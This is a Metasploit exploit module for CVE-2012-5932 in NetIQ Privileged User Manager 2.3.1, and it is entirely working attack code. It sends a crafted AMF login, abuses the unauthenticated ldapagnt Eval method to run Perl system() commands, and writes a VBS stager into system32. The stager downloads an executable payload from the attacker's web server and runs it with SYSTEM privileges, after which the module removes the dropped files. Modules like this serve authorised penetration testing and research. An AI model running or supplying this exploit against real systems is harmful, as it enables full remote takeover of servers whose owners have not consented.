NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution',
        'Description' => %q{
          This module abuses a lack of authorization in the NetIQ Privileged User Manager
          service (unifid.exe) to execute arbitrary perl code. The problem exists in the
          ldapagnt module. The module has been tested successfully on NetIQ PUM 2.3.1 over
          Windows 2003 SP2, which allows to execute arbitrary code with SYSTEM privileges.
        },
        'Author' => [
          'rgod', # Vulnerability discovery and PoC
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2012-5932' ],
          [ 'OSVDB', '87334' ],
          [ 'BID', '56539' ],
          [ 'EDB', '22738' ]
        ],
        'Payload' => {
          'Space' => 2048,
          'StackAdjustment' => -3500
        },
        'Platform' => 'win',
        'Privileged' => true,
        'Targets' => [
          ['Windows 2003 SP2 / NetIQ Privileged User Manager 2.3.1', {}],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-11-15',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60])
      ]
    )

    self.needs_cleanup = true
  end

  def check
    data = fake_login

    print_status("Sending fake login request...")

    res = send_request_cgi(
      {
        'uri' => '/',
        'version' => '1.1',
        'method' => 'POST',
        'ctype' => "application/x-amf",
        'headers' => {
          "x-flash-version" => "11,4,402,278"
        },
        'data' => data,
      }
    )

    if res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/ and res.body =~ /2\.3\.1/
      return Exploit::CheckCode::Appears
    elsif res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def on_new_session(session)
    if session.type == "meterpreter"
      session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
    end

    @dropped_files.delete_if do |file|
      win_file = file.gsub("/", "\\\\")
      if session.type == "meterpreter"
        begin
          windir = session.sys.config.getenv('WINDIR')
          win_file = "#{windir}\\system32\\#{win_file}"
          # Meterpreter should do this automatically as part of
          # fs.file.rm().  Until that has been implemented, remove the
          # read-only flag with a command.
          session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
          session.fs.file.rm(win_file)
          print_good("Deleted #{file}")
          true
        rescue ::Rex::Post::Meterpreter::RequestError
          false
        end

      end
    end
  end

  # Handle incoming requests from the target
  def on_request_uri(cli, request)
    vprint_status("on_request_uri called")

    if (not @exe_data)
      print_error("A request came in, but the EXE archive wasn't ready yet!")
      return
    end

    print_good("Sending the EXE payload to the target...")
    send_response(cli, @exe_data)
    @exe_sent = true
  end

  def lookup_lhost()
    # Get the source address
    if datastore['SRVHOST'] == '0.0.0.0'
      Rex::Socket.source_address('50.50.50.50')
    else
      datastore['SRVHOST']
    end
  end

  def fake_login
    data = "\x00\x00\x00\x00\x00\x01\x00\x15\x53\x50\x46\x2e\x55\x74"          #  ..........SPF.Ut
    data << "\x69\x6c\x2e\x63\x61\x6c\x6c\x4d\x6f\x64\x75\x6c\x65\x45\x78\x00" #  il.callModuleEx.
    data << "\x02\x2f\x34\x00\x00\x00\x64\x0a\x00\x00\x00\x01\x03\x00\x03\x70" #  ./4...d........p
    data << "\x6b\x74\x03\x00\x0b\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x73" #  kt...Credentials
    data << "\x03\x00\x04\x6e\x61\x6d\x65\x02\x00\x04\x74\x65\x73\x74\x00\x06" #  ...name...test..
    data << "\x70\x61\x73\x73\x77\x64\x02\x00\x04\x74\x65\x73\x74\x00\x00\x09" #  passwd...test...
    data << "\x00\x06\x6d\x65\x74\x68\x6f\x64\x02\x00\x05\x6c\x6f\x67\x69\x6e" #  ..method...login
    data << "\x00\x06\x6d\x6f\x64\x75\x6c\x65\x02\x00\x04\x61\x75\x74\x68\x00" #  ..module...auth.
    data << "\x03\x75\x69\x64\x06\x00\x00\x09\x00\x00\x09";                    #  .uid.......
    return data
  end

  def exploit
    data = fake_login

    print_status("Sending fake login request...")
    res = send_request_cgi(
      {
        'uri' => '/',
        'version' => '1.1',
        'method' => 'POST',
        'ctype' => "application/x-amf",
        'headers' => {
          "x-flash-version" => "11,4,402,278"
        },
        'data' => data,
      }
    )

    if not res or res.code != 200 or res.body !~ /svc(.+)/
      fail_with(Failure::Unknown, 'Fake Login failed, svc not identified')
    end

    svc = $1
    svc_length = svc[1, 2].unpack("n")[0]
    svc_name = svc[3, svc_length]
    vprint_status("SVC Found: #{svc_name}")

    print_status("Generating the EXE Payload...")
    @exe_data = generate_payload_exe
    exename = Rex::Text.rand_text_alpha(1 + rand(2))

    print_status("Setting up the Web Service...")
    datastore['SSL'] = false
    resource_uri = '/' + exename + '.exe'
    service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}"
    print_status("Starting up our web service on #{service_url} ...")
    start_service({
      'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => resource_uri
      }
    })
    datastore['SSL'] = true

    # http://scriptjunkie1.wordpress.com/2010/09/27/command-stagers-in-windows/
    vbs_stage = Rex::Text.rand_text_alpha(3 + rand(5))
    code = "system(\"echo Set F=CreateObject(\\\"Microsoft.XMLHTTP\\\") >%WINDIR%/system32/#{vbs_stage}.vbs\");"
    code << "system(\"echo F.Open \\\"GET\\\",\\\"#{service_url}\\\",False >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
    code << "system(\"echo F.Send >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
    code << "system(\"echo Set IA=CreateObject(\\\"ADODB.Stream\\\") >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
    code << "system(\"echo IA.Type=1 >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
    code << "system(\"echo IA.Open >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
    code << "system(\"echo IA.Write F.responseBody >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
    code << "system(\"echo IA.SaveToFile \\\"%WINDIR%\\system32\\#{exename}.exe\\\",2 >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
    code << "system(\"echo CreateObject(\\\"WScript.Shell\\\").Run \\\"%WINDIR%\\system32\\#{exename}.exe\\\" >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
    code << "system(\"#{vbs_stage}.vbs\");"
    register_file_for_cleanup("#{vbs_stage}.vbs")
    register_file_for_cleanup("#{exename}.exe")
    identity = ""

    data = "\x00\x00\x00\x00\x00\x01"
    data << "\x00\x14"
    data << "SPF.Util.callModuleA"
    data << "\x00\x00"
    data << "\x00"
    data << "\x00\x02"
    data << "\x0a\x0a"
    data << "\x00\x00\x00\x01\x03"
    data << "\x00\x03"
    data << "pkt"
    data << "\x03"
    data << "\x00\x06"
    data << "method"
    data << "\x02"
    data << "\x00\x04"
    data << "eval"
    data << "\x00\x06"
    data << "module"
    data << "\x02"
    data << "\x00\x08"
    data << "ldapagnt"
    data << "\x00\x04"
    data << "Eval"
    data << "\x03"
    data << "\x00\x07"
    data << "content"
    data << "\x02"
    data << [code.length + 4].pack("n")
    data << code
    data << "\x0a\x0a1;\x0a\x0a1;"
    data << "\x00\x00\x09"
    data << "\x00\x00\x09"
    data << "\x00\x03"
    data << "uid"
    data << "\x02"
    data << [identity.length].pack("n")
    data << identity
    data << "\x00\x00\x09"
    data << "\x00\x08"
    data << "svc_name"
    data << "\x02"
    data << [svc_name.length].pack("n")
    data << svc_name
    data << "\x00\x00\x09"

    print_status("Sending the eval code request...")

    res = send_request_cgi(
      {
        'uri' => '/',
        'version' => '1.1',
        'method' => 'POST',
        'ctype' => "application/x-amf",
        'headers' => {
          "x-flash-version" => "11,4,402,278"
        },
        'data' => data,
      }
    )

    if res
      fail_with(Failure::Unknown, "There was an unexpected response to the code eval request")
    else
      print_good("There wasn't a response, but this is the expected behavior...")
    end

    # wait for the data to be sent
    print_status("Waiting for the victim to request the EXE payload...")

    waited = 0
    while (not @exe_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > datastore['HTTP_DELAY'])
        fail_with(Failure::Unknown, "Target didn't request request the EXE payload -- Maybe it cant connect back to us?")
      end
    end

    print_status("Giving time to the payload to execute...")
    select(nil, nil, nil, 20)
  end
end